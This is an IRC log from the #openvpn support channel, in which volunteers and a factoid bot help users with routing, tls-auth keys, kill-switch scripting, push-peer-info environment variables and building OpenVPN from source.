09:30 <@EugeneKay> !redirect
09:30 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:30 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
09:30 <@EugeneKay> follow the chart
09:30 < pablito> I just run the redirect-gateway command?
09:31 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
09:32 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
09:32 <@EugeneKay> you need all the stuff mentioned above
09:32 <@EugeneKay> routing, forwarding, and Nat
09:33 < rob0> so give it to me!
09:33 <@EugeneKay> !beer
09:33 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
09:33 < pablito> yes, please
09:33 < pablito> eh, i need more specific instructions
09:33 < pablito> !def1
09:33 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
09:34 <@EugeneKay> so use the bot commands mentioned
09:35 < pablito> !man
09:35 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
09:36 < pablito> i'm a newbie here so these bot commands are new to me
09:37 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
09:37 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
09:38 -!- HyperGlide [~HyperGlid@182.149.191.119] has quit [Read error: Connection reset by peer]
09:39 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
09:41 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
09:41 -!- master_o1_master [~master_of@p4FF24CD1.dip0.t-ipconnect.de] has joined #openvpn
09:45 -!- master_of_master [~master_of@p4FD7B358.dip0.t-ipconnect.de] has quit [Ping timeout: 250 seconds]
09:46 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
09:46 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
09:48 -!- Thermi_ [~Thermi@unaffiliated/thermi] has joined #openvpn
09:50 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 260 seconds]
09:50 -!- Thermi_ is now known as Thermi
09:50 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Remote host closed the connection]
09:50 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
09:51 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
09:55 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
09:57 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 240 seconds]
09:58 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
10:01 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
10:02 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Read error: Operation timed out]
10:03 -!- u0m3 [~u0m3@92.80.102.164] has joined #openvpn
10:04 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
10:05 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
10:09 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
10:11 -!- u0m3 [~u0m3@92.80.102.164] has quit [Read error: Connection reset by peer]
10:11 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
10:14 -!- u0m3 [~u0m3@109.96.141.150] has joined #openvpn
10:16 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
10:17 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
10:19 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
10:23 -!- Fohlen [~Fohlen@static.196.152.46.78.clients.your-server.de] has joined #openvpn
10:24 < Fohlen> I'm about writting a tutorial how to obfuscate traffic with openvpn (how-to). Where should/could I've put it after? I'd like to make it accessable to the openvpn-community and users :)
10:24 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
10:25 < pekster> The openvpn wiki, when the owner of that box fixes the security cert problem
10:25 < pekster> https://community.openvpn.net/openvpn/wiki
10:25 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net)
10:26 < Fohlen> thank you pekster ... looking forward to contact him (what would be ideally, email?)
10:28 < pekster> It's a wiki. You sign up for an account and can create a page and add useful details as to the process you want to share
10:36 -!- Fohlen [~Fohlen@static.196.152.46.78.clients.your-server.de] has left #openvpn []
10:39 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
10:43 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
10:45 -!- toli [~toli@ip-62-235-238-218.dsl.scarlet.be] has joined #openvpn
10:45 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 240 seconds]
10:47 -!- sedemoid [~diomedes@23.29.120.222] has joined #openvpn
10:48 -!- takamichi [~takamichi@85.12.8.106] has joined #openvpn
10:49 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
10:49 -!- diomedes [~diomedes@185.3.135.58] has joined #openvpn
10:49 -!- diomedes [~diomedes@185.3.135.58] has quit [Client Quit]
10:50 -!- Nikon_m [~nikonm@184.151.63.132] has quit [Ping timeout: 240 seconds]
10:50 -!- Nikon_m [~nikonm@184.151.63.132] has joined #openvpn
10:51 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
10:52 -!- sedemoid [~diomedes@23.29.120.222] has quit [Ping timeout: 272 seconds]
10:53 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
10:54 -!- frank- [1000@unaffiliated/thumbs] has joined #openvpn
10:55 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
10:56 -!- thumbs [1000@unaffiliated/thumbs] has quit [Ping timeout: 272 seconds]
10:56 -!- frank- is now known as thumbs
11:00 -!- mjkr [jzhmer@gateway/shell/blinkenshell.org/x-ftubrdwciccagslc] has quit [Quit: WeeChat 0.4.1]
11:00 -!- Nikon_m [~nikonm@184.151.63.132] has quit [Quit: Nikon_m]
11:01 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Ping timeout: 250 seconds]
11:01 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
11:04 -!- toli [~toli@ip-62-235-238-218.dsl.scarlet.be] has quit [Ping timeout: 252 seconds]
11:06 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Remote host closed the connection]
11:07 -!- sedemoid [~diomedes@185.3.135.122] has joined #openvpn
11:11 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
11:12 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
11:16 -!- dimitry7 [~antonello@201.163.191.138] has joined #openvpn
11:16 -!- takamichi [~takamichi@85.12.8.106] has quit [Ping timeout: 250 seconds]
11:19 < esde> I'd like to create another set of keys and certs as necessary for another openvpn user. I've found documentation that says I need to "source ./vars" then "./build-key client2". Do I need to create a new tls key for the new client, too (openvpn --genkey --secret keys/ta.key)?
11:19 < pekster> --tls-auth must be shared among all servers/clients that will connect
11:20 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
11:20 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Max SendQ exceeded]
11:20 < pekster> If you regenerate it, you need to re-distribute it everywhere
11:20 < esde> AH ok, I understand now. All clients share that key, it is not unique to each client. Right?
11:20 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
11:21 < pekster> Right, and all the --tls-auth key does is /allow/ a client to proceed to the TLS handshake phase
11:21 < esde> Great
11:21 < pekster> Disclosure/loss of the --tls-auth key isn't good, but it's not really "bad" either
11:22 < pekster> Private keypairs would be different
11:22 < esde> Also, I finally got the opened the port as I wanted. I ended up using this rule "iptables -t nat -A PREROUTING -p tcp --dport 1234 -j DNAT --to-destination 10.8.0.6:1234" I dont know if it's the "right" way to do it, but it works :)
11:22 < pekster> A bit more basic run-down of how the PKI stuff works can be found in part of the easyrsa3 docs: https://github.com/OpenVPN/easy-rsa/blob/master/doc/Intro-To-PKI.md
11:22 <@vpnHelper> Title: easy-rsa/doc/Intro-To-PKI.md at master · OpenVPN/easy-rsa · GitHub (at github.com)
11:23 < esde> Saved
11:23 -!- sedemoid [~diomedes@185.3.135.122] has quit [Quit: Leaving]
11:29 -!- mattock_afk is now known as mattock
11:45 <@novaflash> hello good people
11:46 <@novaflash> there was an error in the certificates on the site forums.openvpn.net but this has now been corrected, apologies for the inconvenience
11:46 <@novaflash> communities.openvpn.net should also be fixed momentarily
11:48 -!- sedemoid [~diomedes@173.217.153.135] has joined #openvpn
11:50 < sedemoid> would someone help me figure out an issue with my vpn and openvpn?
11:50 <@novaflash> i suggest you lay out your problem as clearly as possible so people can respond
11:52 < sedemoid> ok i have a vpn provider that has a linux app, the app will not connect under any setup to my vpn. i am able to make a connection through openvpn with the configuration files though.  the config file is using the port 1194
11:53 < sedemoid> i wouldnt mind using openvpn but i dont have a killswitch incase the vpn drops
11:54 <@novaflash> a killswitch?
11:55 < sedemoid> a fail safe to shut off activity from my actual ip address
11:56 < sedemoid> on my windows based system if my vpn drops for whatever reason it stops all internet traffic, thats the plus of using the vpn app
11:57 < pekster> Sounds like you want a way to script OS-centric actions like changing your firewall on connect/disconnect. See !scripts (type it here and the bot has links for you.) --up and --down are your manpage reference, and possibly --down-pre and --up-restart
11:57 < sedemoid> !scripts
11:57 <@vpnHelper> "scripts" is "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
11:59 <@novaflash> there is also the crude possibility of removing the default gateway from your computer configuration and setting up a route only for the address of the vpn server on the internet. basically that cuts off internet connectivity, unless your vpn is alive, in which case that will become the 'default gateway' so to speak. or what pekster said.
11:59 < pekster> 'eh, that's probably a bad idea when client-side DHCP is enabled, but YMMV
11:59 <@novaflash> yeah dhcp would blow that out of the water indeed
12:00 < pekster> Also, IPv6 RAs, and other things that mess with ones routing tables (network-manager, anyone? ;)
12:00 <@novaflash> ugh
12:00 <@novaflash> don't talk to me about network-manager
12:00 <@novaflash> crazy shit
12:00 < sedemoid> lol
12:01 < pekster> Last night I cut my ubuntu VM upgrade time from 2.5h to 2.5m by disabling IPv6 (my tunnel is pretty good, but ubuntu has some crappy dist mirrors, I think just 3 boxes on 1 network, or maybe 1 box with 3 IPs, I'm not really sure..)
12:01 <@novaflash> pekster; probably a raspberry pi with a 1tb consumer USB external harddrive
12:02 <@novaflash> running redhat.. ;)
12:05 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
12:06 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
12:12 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
12:15 -!- sedemoid [~diomedes@173.217.153.135] has quit [Quit: Leaving]
12:29 -!- Nikon_m [~nikonm@184.151.63.132] has joined #openvpn
12:31 -!- Nikon_m [~nikonm@184.151.63.132] has quit [Client Quit]
12:41 -!- Nikon_m [~nikonm@184.151.63.132] has joined #openvpn
12:43 -!- Flash_G0rd0n [~test@92.55.118.112] has joined #openvpn
12:45 < Flash_G0rd0n> !welcome
12:45 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
12:45 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:46 -!- rolloTomasi [~rolloToma@bas1-kitchener09-1176482838.dsl.bell.ca] has joined #openvpn
12:53 < Flash_G0rd0n> hello guys I'm new to openvpn and would like to get pointers on my implementation if it's barely functioning or something else? I made a point-to-point tunnel and on side 1 i made an IP alias of eth0:0 with ip 192.168.11.123 which is functional(and ping is ok).On side 2 I added a route in the conf of vpn that tells to use side 1 as gw and ping worked as well.Now while I was reading on openvpn I read that ping in openvpn is only a way to see if the host
12:53 < Flash_G0rd0n>  is reachable and alive which is the basics so I binded a vsftpd server on the 192.**.123 address to see if i can contact it,which I did and managed to get the test file i put there.Sorry if it's too long of a description but my point is am I missing something other then enabling ip forwarding for the kernel and masquerading if even necessary .I'm using openvpn2.2.1 Debian 7 on both hosts
12:55 -!- keithzg [~quassel@184.70.164.246] has joined #openvpn
12:56 -!- Phog [~Phog@fluidbeats.com] has joined #openvpn
12:56 -!- Phog [~Phog@fluidbeats.com] has left #openvpn []
12:57 -!- nighthawk663 [~nighthawk@unaffiliated/nighthawk663] has joined #openvpn
12:58 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
13:07 -!- _nexxus_ [~bwg@cpe-198.144.156.144.ca.yorkinet.com] has joined #openvpn
13:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
13:13 < nighthawk663> So, I'm brand new to this, trying to set up an OpenVPN server in a CentoOS Virtual machine running in one of our servers. (We just have a small office)
13:13 < nighthawk663> Our network topology right now is basically (I)--[Vonage FiOS Wifi Business Router]---[HP Switch]---(Server)
13:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
13:13 -!- mode/#openvpn [+o mattock] by ChanServ
13:14 < nighthawk663> First question: Do I need to provision two virtual NICs to the CentOS VM running OpenIAM?
13:17 < nighthawk663> ...anybody here?
13:22 < _nexxus_> have a bit of an odd question that isn't necessarily directly related to openvpn, but is more routing and firewall-related, but openvpn is in the mix so thought i'd ask here in case anyone has any ideas.. linux system, openvpn to connect to another openvpn server (need to route traffic there..default route).. running kvm and have two guests connected to the host via a tap interface connected to vde_switch.. host system is 192.168.0.5 on 
13:22 < _nexxus_> wow..sorry.. that was quite a paragraph..haha
13:22 -!- mattock is now known as mattock_afk
13:23 < _nexxus_> anyway, after i start the openvpn client on the host, it does its thing.. no errors.. adds the new default route.. and traffic from the host is routed through the tunnel as you'd expect.. works fine
13:23 < _nexxus_> but the traffic from the guests isn't being routed properly
13:24 -!- mattock_afk is now known as mattock
13:24 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
13:24 < _nexxus_> the dnat and snat rules are working, of course.. the traffic from the guests still hits the local subnet and such.. but there's a disconnect somewhere and their traffic isn't being routed through the default route
13:24 < _nexxus_> or anywhere beyond the local subnet after the openvpn client is started
13:28 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
13:32 -!- mattock is now known as mattock_afk
13:35 -!- pablito [~chatzilla@194.90.149.21] has quit [Ping timeout: 240 seconds]
13:36 < _nexxus_> nighthawk663: not necessarily..will just depend on what you're going for
13:36 -!- pablito [~chatzilla@194.90.149.21] has joined #openvpn
13:39 -!- pablito_ [~chatzilla@194.90.149.21] has joined #openvpn
13:41 -!- pablito [~chatzilla@194.90.149.21] has quit [Ping timeout: 240 seconds]
13:41 -!- pablito_ is now known as pablito
13:44 -!- pablito_ [~chatzilla@194.90.149.21] has joined #openvpn
13:44 -!- roothorick [~roothoric@cpe-107-10-69-211.new.res.rr.com] has joined #openvpn
13:44 < roothorick> so why doesn't "topology subnet" in server mode automatically push the same to clients?
13:45 -!- pablito [~chatzilla@194.90.149.21] has quit [Ping timeout: 240 seconds]
13:45 -!- pablito_ is now known as pablito
13:48 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
13:48 -!- g0uZ [~NickServ@AMontpellier-152-1-28-167.w81-251.abo.wanadoo.fr] has joined #openvpn
13:50 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-qotrezrudnqizfmn] has joined #openvpn
13:50 < g0uZ> is there a way to send environnement variable from client when connecting to the server, and handle them on the server side with a "connect script" ?
14:09 -!- nighthawk663 [~nighthawk@unaffiliated/nighthawk663] has quit [Quit: Lost terminal]
14:12 <@ecrist> what do you want to send?
14:14 < g0uZ> some conf value to be handled by the server
14:14 < g0uZ> I've tried to add :
14:14 < g0uZ> setenv testVar "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
14:15 < g0uZ> in my client config file
14:15 < g0uZ> and I've a connect script set up (well executed) on the server side containing :
14:15 < g0uZ> env > /tmp/test
14:16 -!- nighthawk663 [~nighthawk@unaffiliated/nighthawk663] has joined #openvpn
14:16 < g0uZ> but I don't get my testVar variable in all the env variable writen in /tmp/test when I connect
14:20 < g0uZ> should it work ?
14:20 < pekster> g0uZ: --setenv-safe
14:20 < pekster> See the ChangeLog note for "2006.04.05 -- Version 2.1-beta12"
14:21 < pekster> I don't have time to dig at the impacted code between then & now, but it's possible that's another option that doesn't match up with historical changes in the manpage
14:24 < g0uZ> anyway, it seems I'm getting wrong with this option, I thought it was used by the client configuration and sent to the server, but it seems to be the contrary
14:24 < g0uZ> or it can also be used in the way I want ?
14:24 <@plaisthos> g0uZ: you want send-peer-info
14:25 <@plaisthos> push-peer-info
14:26 <@plaisthos> you might need a fairly recent Openvpn version to access them from a script (as opposed to via management interface)
14:26 < g0uZ> T530 ~ # openvpn --version
14:26 < g0uZ> OpenVPN 2.3.2 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [eurephia] [MH] [IPv6] built on Nov 28 2013
14:27 < g0uZ> Originally developed by James Yonan
14:27 < g0uZ> Copyright (C) 2002-2010 OpenVPN Technologies, Inc. <sales@openvpn.net>
14:27 < g0uZ> Compile time defines: enable_crypto=yes enable_debug=yes enable_def_auth=yes enable_dependency_tracking=no enable_dlopen=unknown enable_dlopen_self=unknown enable_dlopen_self_static=unknown enable_eurephia=yes enable_fast_install=needless enable_fragment=yes enable_http_proxy=yes enable_iproute2=no enable_libtool_lock=yes enable_lzo=yes enable_lzo_stub=no enable_management=yes enable_multi=yes enable_multihome=yes enable_
14:27 < g0uZ> pam_dlopen=no enable_password_save=no enable_pedantic=no enable_pf=yes enable_pkcs11=no enable_plugin_auth_pam=yes enable_plugin_down_root=no enable_plugins=yes enable_port_share=yes enable_selinux=no enable_server=yes enable_shared=yes enable_shared_with_static_runtimes=no enable_small=no enable_socks=yes enable_ssl=yes enable_static=yes enable_strict=no enable_strict_options=no enable_systemd=no enable_win32_dll=yes
14:27 < g0uZ> enable_x509_alt_username=no with_crypto_library=openssl with_gnu_ld=yes with_mem_check=no with_plugindir=//usr/lib64/openvpn with_sysroot=no
14:27 < g0uZ> is it ok ?
14:27 <@plaisthos> yeah should
14:27 < g0uZ> ok, I've set :   push-peer-info testVar "test"
14:28 < g0uZ> in my client config file, but I'm still not getting the $testVar variable through env command
14:28 < g0uZ> ...on the server side
14:29 <@plaisthos> g0uZ: no
14:29 <@plaisthos> g0uZ: reread the manpage
14:30 <@plaisthos> and you need the commit a8be73799be163909a3b212656dedf03494f0792
14:31 <@plaisthos> which may be only in -master
14:31 <@plaisthos> or use the management interface
14:33 < g0uZ> ok, I've set : push-peer-info UV_test="test"
14:33 < g0uZ> client side
14:33 < g0uZ> but still getting my value server side, I need to check if I've the commit...
14:33 <@plaisthos> g0uZ: yeah still wrong :)
14:33 < g0uZ> ?
14:33 <@plaisthos> push-peer-info does not take any argument
14:34 <@plaisthos> client environment  variables  whose  names start with "UV_"
14:34 < g0uZ> ho, I've to set my env variable before calling openvpn ?
14:34 <@plaisthos> g0uZ: setenv
14:34 < g0uZ> erf ok
14:34 < g0uZ> sorry
14:35 -!- lilibox [~franta_bi@93.99.40.10] has quit [Ping timeout: 240 seconds]
14:35 -!- lilibox [~franta_bi@93.99.40.10] has joined #openvpn
14:35 < g0uZ> so :
14:35 < g0uZ> push-peer-info
14:35 < g0uZ> setenv UV_test "test"
14:36 < g0uZ> in client config file
14:36 < g0uZ> is it correct ?
14:36 <@plaisthos> yeah
14:36 <@plaisthos> and you need -master or use management interface on the server
14:37 < pekster> https://github.com/OpenVPN/openvpn/commit/a8be737
14:37 <@vpnHelper> Title: Make push-peer-info visible in "normal" per-instance environment. · a8be737 · OpenVPN/openvpn · GitHub (at github.com)
14:37 < pekster> (handy weblink from the earlier reference)
14:38 -!- Nikon_m [~nikonm@184.151.63.132] has quit [Quit: Nikon_m]
14:39 < g0uZ> plaisthos: what's "-master" ?
14:40 < nighthawk663> So, I've been trying to get OpenVPN working on my system. My first time ever playing with it.
14:40 < nighthawk663> I've been following these directions: https://www.digitalocean.com/community/articles/how-to-setup-and-configure-an-openvpn-server-on-centos-6
14:40 <@vpnHelper> Title: How to Setup and Configure an OpenVPN Server on CentOS 6 | DigitalOcean (at www.digitalocean.com)
14:40 < pekster> g0uZ: git-master, the latest development code you can find at https://github.com/OpenVPN/openvpn
14:40 <@vpnHelper> Title: OpenVPN/openvpn · GitHub (at github.com)
14:40 < nighthawk663> I get up to the ... huh, look at that.
14:40 < pekster> g0uZ: It means you need to compile from _source_ or use the management feature as explained in the commit I linked you to earlier
14:40 < nighthawk663> Anyways, I try to start the service using "service openvpn start" and it just says [FAILED]
14:41 < g0uZ> pekster: I'm using gentoo, can it helps ?
14:41 < pekster> nighthawk663: Don't try to use your distro initscript until your basic config works. Start with this howto:
14:41 < pekster> !howto
14:41 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:41 < nighthawk663> How can I find out what went wrong? Where are the relevent logs? Is there a check config
14:41 < pekster> nighthawk663: Read !welcome, and !logs
14:41 < nighthawk663> !welcome
14:41 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
14:41 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:41 < nighthawk663> !logs
14:41 <@vpnHelper> "logs" is (#1) please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked) or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:42 < nighthawk663> !logfile
14:42 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
14:43 < pekster> g0uZ: If you're comfortable editing ebuilds, grab the latest source code as a tarball from github, copy the latest 2.3.2 openvpn ebuild to a local overlay, add in the option to disable snappy support (otherwise the build will fail if you don't handle that feature) and name it something like `openvpn-2.3.2-r100.ebuild` so it will be a "higher" version. Then emerge it
14:43 -!- toli [~toli@ip-62-235-238-218.dsl.scarlet.be] has joined #openvpn
14:43 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 252 seconds]
14:43 < pekster> g0uZ: Optionally, just extrat the source to your homedir and do the usually `autoreconf -vfi && ./configure --stuff-here && make`
14:43 < pekster> Maybe use --prefix too, just so you can remove it easily later
14:44 < pekster> `./configure --disable-snappy --prefix=/usr/local/openvpn-master` or such
14:45 < g0uZ> I've already a -9999 ebuild version that is linked to git
14:45 < g0uZ> I'll try with it
14:47 < pekster> That won't work unless you put the snappy dep on your box manually; whoever is maintaining that isn't
14:47 < pekster> Get app-arch/snappy first and it might (maybe) build
14:49 < g0uZ> ok
14:49 < g0uZ> thx for the help
14:49 < pekster> Otherwise just do a build from your homedir; that's what I do
14:49 < g0uZ> yep
14:49  * pekster has a handful of openvpn builds (different versions/features) in /usr/local/apps/UNIQUE-NAME
14:49 < g0uZ> will the commit will be integrated in next stable release ?
14:50 < pekster> rm -rf is a great uninstaller ;)
14:50 < g0uZ> :)
14:51  * g0uZ 's emerging...
14:53 < pekster> And no, that commit is not currently in the release/2.3 branch, so it is not likely to appear in the next 2.3 release (maybe 2.4 would be my guess based on the changes involved)
14:53 < pekster> Though I don't know, it applied clean from a cherry-pick
14:53 < pekster> Poke at it if you want; clone the git repo, checkout `origin/release/2.3` and do `git cherry-pick a8be737` and see what happens. Don't forget the autoreconf for git builds
14:53  * pekster is out for a bit, good luck :)
14:54 < g0uZ> ^^
14:54 < g0uZ> thx
14:56 -!- dimitry7 [~antonello@201.163.191.138] has quit [Quit: Leaving]
14:59 < g0uZ> pekster: with the master version, the config I've is enough to get my UV in my env server side ; it will just works magicaly ? :)
15:02 -!- _nexxus_ [~bwg@cpe-198.144.156.144.ca.yorkinet.com] has quit [Ping timeout: 240 seconds]
15:14 < g0uZ> héhé
15:15 < g0uZ> pekster: thx for your help, it's working as expected :)
15:21 -!- _nexxus_ [~bwg@c-69-143-59-82.hsd1.va.comcast.net] has joined #openvpn
15:28 -!- pablito [~chatzilla@194.90.149.21] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 26.0/20131205075310]]
16:02 -!- roothorick [~roothoric@cpe-107-10-69-211.new.res.rr.com] has left #openvpn []
16:04 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
16:05 -!- matsh_ [divine@nanogene.org] has joined #openvpn
16:07 -!- matsh [divine@nanogene.org] has quit [Ping timeout: 260 seconds]
16:07 -!- matsh_ is now known as matsh
16:07 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Ping timeout: 260 seconds]
16:08 -!- Flash_G0rd0n [~test@92.55.118.112] has quit [Quit: Leaving]
16:10 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has quit [Ping timeout: 250 seconds]
16:12 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
16:18 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
16:29 -!- toli [~toli@ip-62-235-238-218.dsl.scarlet.be] has quit [Ping timeout: 240 seconds]
16:30 < nighthawk663> this may be a really stupid question... but can you connect to an OpenVPN ..VPN using the built-in OS clients? Like, L2TP over IPSec or PPTP?
16:31 <@EugeneKay> !notopenvpn
16:31 <@vpnHelper> "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
16:31 <@EugeneKay> not that one
16:32 <@EugeneKay>  !notovpn
16:32 <@EugeneKay> !lt2p
16:33 <@EugeneKay>  fukken bot. anyway, no. openvpn is openvpn protocol, doesn't speak anything else
16:33 <@EugeneKay> !proto
16:33 < nighthawk663> ahh
16:33 < nighthawk663> Thanks.
16:33 <@EugeneKay> grrr
16:35 <@EugeneKay> !factoids search not
16:35 <@vpnHelper> 'notopenvpn', 'notovpn', 'release-notes', and 'notcompat'
16:35 <@EugeneKay> !notcompat
16:35 <@vpnHelper> "notcompat" is (#1) IPsec, PPTP, & L2TP are _not_ compatible with OpenVPN. OpenVPN uses SSL whereas PPTP and IPSEC use their own protocols and therefore cannot be compatible. or (#2) OpenVPN connects only to OpenVPN
16:35 <@EugeneKay> that's the one
16:36 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
16:36 -!- c0mputerking [~kvirc@solar.computerking.ca] has joined #openvpn
16:37 -!- c0mputerking [~kvirc@solar.computerking.ca] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
16:40 -!- c0mputerking [~kvirc@solar.computerking.ca] has joined #openvpn
16:42 -!- Cubox is now known as SaulGoodman
16:42 < c0mputerking> hello all having some issues with openvpnas sever
16:43 -!- toli [~toli@ip-62-235-238-218.dsl.scarlet.be] has joined #openvpn
16:44 < c0mputerking> cannot seem to figure out how to add multiple servers to my openvpn windows client
16:44 <@plaisthos> !as
16:44 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
16:44 < c0mputerking> ok thanks
16:44 < c0mputerking> will do
16:45 < toli> hey, hmm, i am getting error on loading my config :( Cannot load DH parameters
16:45 < toli> i ran the build-dh
16:46 < toli> 01.perm is present
